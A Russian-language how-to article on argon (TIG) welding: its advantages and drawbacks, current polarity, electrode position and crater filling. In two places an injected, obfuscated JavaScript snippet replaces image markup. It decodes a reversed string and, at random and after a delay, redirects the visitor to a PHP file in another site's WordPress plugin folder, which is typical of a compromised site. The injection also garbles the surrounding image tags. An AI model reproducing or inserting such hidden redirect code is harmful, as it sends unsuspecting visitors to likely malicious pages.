Сварка аргоном — все, что вы должны знать о данном процессе

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tolschina-svarnogo-shva-pozvolyaet-soed-600×450.jpg» alt=»Небольшая толщина сварного шва позволяет соединять даже мелкие детали» width=»600″ height=»450″ /> Небольшая толщина сварного шва позволяет соединять даже мелкие детали

Нужно соединить элементы из цветных металлов или легированной стали? Я расскажу о таком виде работ как сварка аргоном. Вы узнаете все особенности этой технологии, а в качестве бонуса я дам несколько рекомендаций, соблюдая которые можно добиться идеального сваривания деталей.

Технология сварки аргоном позволяет ремонтировать даже легкосплавные диски

Особенности процесса и рекомендации по его проведению

Сварка в аргоне позволяет защитить соединяемые поверхности от окисления. Этим обеспечивается высокое качество соединения и появляется возможность работать с теми материалами, которые не поддаются обычным сварочным аппаратам.

Соединения получаются прочными и аккуратными

Работы могут проводиться в автоматическом, полуавтоматическом и ручном режимах. Аргонная сварка своими руками производится в ручном режиме, именно его мы и рассмотрим. Технология позволяет пользоваться неплавящимся и плавящимся электродом, первый вариант популярнее из-за простоты и надежности.

В качестве электрода используется вольфрам, он очень тугоплавкий и позволяет надежно скрепить между собой как одинаковые, так и разные материалы.

Важно заранее определиться, каким неплавящимся электродом лучше всего производить работы, для каждого вида материалов есть своя модификация

Плюсы и минусы технологии

Чтобы разобраться в вопросе, вы должны понимать, какие преимущества и недостатки имеет сварка аргоном. Начнем с положительных моментов:

• Высокое качество. Область, которая разогревается при сваривании, очень маленькая. Это позволяет качественно соединять даже небольшие элементы без деформаций. Шов получается очень аккуратным — это один из самых эстетичных типов сварки, посмотрите фото и убедитесь в этом;

При наличии опыта работ аргонодуговой сварки вы можете добиться идеального качества швов

• Возможность соединения сложных материалов. Если вам нужно сварить медь, алюминий или другие цветные металлы, то аргоновая сварка станет единственным возможным решением. А еще вы можете соединить разные материалы, что вообще недоступно другим технологиям;

Аргоновый способ сварки позволяет без труда соединить медную и нержавеющую трубу

• Высокая скорость работ. Электрическая дуга большой мощности позволяет соединять элементы очень быстро. Это весомое преимущество при больших объемах работ;
• Надежность. Аргон — инертный газ, который тяжелее воздуха, поэтому при проведении сваривания он надежно закрывает область соединения, исключая окисление поверхности и обеспечивая высокое качество соединения деталей;
• Простота технологии. Конечно, проведение сварочных работ возможно только при наличии определенных навыков, но овладеть ими несложно, и вы можете за короткий срок стать мастером в этом деле. Если вы некоторое время попрактикуетесь под надзором специалиста, то освоите все нюансы без особых проблем.

Работа не отличается сложностью, ее можно освоить за месяц-полтора

Для проведения работ нужен сварочный аппарат с осциллятором, специальная горелка и баллон с инертным газом. Схема проведения работы показана ниже.

Так выглядит конструкция аргоновой сварки

Есть у этой технологии и недостатки:

• Необходимость наличия специального оборудования. Некоторые переделывают стандартные сварочные аппараты, но, не имея опыта в этом деле, я советую все же купить специальную установку, чтобы проводить работу качественно;

Цена оборудования составляет от 15 000 рублей

• Сильный нагрев поверхности. Если вы проводите сварку высокоамперной дугой, то желательно использовать дополнительное охлаждение для предотвращения перегрева элементов;
• Зависимость от погодных условий. Когда проводится сварка — аргона должно быть достаточно в месте соединения, но из-за сквозняка и ветра он можете раздуваться, что негативно сказывается на прочности шва.

Особенности рабочего процесса

Сварка аргоном имеет целый ряд важных нюансов, который лучше изучить заранее:

• Полярность и направление тока. Если вы работаете с основными сталями и сплавами на их основе, то используется постоянный ток прямой полярности. Алюминий, бериллий и магний лучше варить при обратной полярности, так оксидная пленка разрушается намного быстрее;

Алюминий намного лучше варится при обратной полярности тока

• Постоянный контроль рабочей среды. Чтобы свариваемые поверхности не насыщались азотом и кислородом из окружающего воздуха, следите за тем, чтобы присадочная проволока и электрод постоянно находились в среде аргона;

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tok.jpg» alt=»Аргон должен закрывать весь рабочий участок » width=»600″ height=»253″ /> Аргон должен закрывать весь рабочий участок

• Точное выставление параметров. При работе на постоянном токе очень важно произвести нужные настройки оборудования в соответствии с типом материала, используемыми электродами и т.д. Все показатели есть в инструкции к оборудованию, изучите всю информацию внимательно, чтобы корректно настраивать силу тока;
• Правильное положение электрода. При проведении работы вольфрамовый электрод надо держать как можно ближе к свариваемой поверхности, чтобы длина дуги была как можно меньше. Чем длиннее дуга, тем меньше глубина проплавления металла, что негативно сказывается на качестве сварки;

Держите электрод как можно ближе к свариваемой поверхности

• Проводите работу правильно. Чтобы шов был идеального качества, нужно вести работу одним движением вдоль линии шва. Никаких зигзагообразных и поперечных движений, это делает шов неаккуратным;
• Ровно ведите сварочную проволоку. В процессе ведения горелки проволока располагается перед ней под углом к поверхности. Она должна располагаться в аргоновой ванне около электрода. Не виляйте проволокой, это очень сильно ухудшит качество шва.
• Важно правильно заварить кратер при окончании работ. Завершать работу путем обрыва дуги, отводя горелку, неправильно, это сильно ослабляет шов. Правильно — понизить силу тока реостатом и запаять кратер. Подачу аргона прекращайте через 8-10 секунд после окончания сваривания, а вначале работы место сваривания прогревается аргоном в течение 20 секунд;

В конце кратер заваривается, а подача газа прекращается через 10 секунд

• Правильная подготовка. Поверхности, которые будут соединяться, нужно очистить от грязи и обезжирить.

Вывод

Вы узнали, как производится сварка аргоном. Используя мои рекомендации, вы сможете обеспечить идеальное качество работы. Видео в этой статье поможет разобраться в теме еще лучше, а если вам что-то непонятно — спрашивайте в комментариях.